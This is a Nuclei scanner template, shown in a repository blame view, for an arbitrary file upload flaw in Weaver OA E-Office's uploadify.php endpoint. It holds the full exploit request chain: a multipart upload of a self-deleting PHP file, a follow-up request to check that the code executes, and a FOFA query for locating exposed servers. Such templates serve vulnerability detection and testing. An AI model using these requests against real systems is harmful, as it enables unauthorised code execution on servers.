nuclei-templates/http/vulnerabilities/weaver/weaver-uploadify-file-uploa...

49 lines
1.5 KiB
YAML
Raw Normal View History

2023-09-13 11:22:00 +00:00
id: weaver-uploadify-file-upload
2023-08-18 03:22:06 +00:00
info:
2023-09-13 11:22:00 +00:00
name: OA E-Office Uploadify - Arbitrary File Upload
2023-08-18 03:22:06 +00:00
author: SleepingBag945
severity: critical
reference:
- https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
2023-09-13 11:22:00 +00:00
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 3
fofa-query: app="泛微-EOffice"
tags: weaver,e-office,oa,instrusive,rce,intrusive
2023-09-13 11:22:00 +00:00
variables:
filename: "{{to_lower(rand_base(5))}}"
string: "{{randstr}}"
2023-08-18 03:22:06 +00:00
http:
- raw:
- |
GET /general/weibo/javascript/uploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
- |
POST /general/weibo/javascript/uploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
Accept-Encoding: gzip
------WebKitFormBoundaryjetvpuye
2023-09-13 11:22:00 +00:00
Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
2023-08-18 03:22:06 +00:00
Content-Type: application/octet-stream
2023-09-13 11:22:00 +00:00
<?php echo "{{randstr}}";unlink(__FILE__);?>
2023-08-18 03:22:06 +00:00
------WebKitFormBoundaryjetvpuye--
- |
GET /attachment/personal/_temp.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
2023-09-17 16:11:07 +00:00
dsl:
2023-08-18 03:22:06 +00:00
- "status_code_1 == 200"
2023-09-13 11:22:00 +00:00
- "contains(body_2, 'imageSrc') && contains(body_2, 'height')"
- "status_code_3 == 200 && contains(body_3,'{{randstr}}')"
2023-08-18 03:22:06 +00:00
condition: and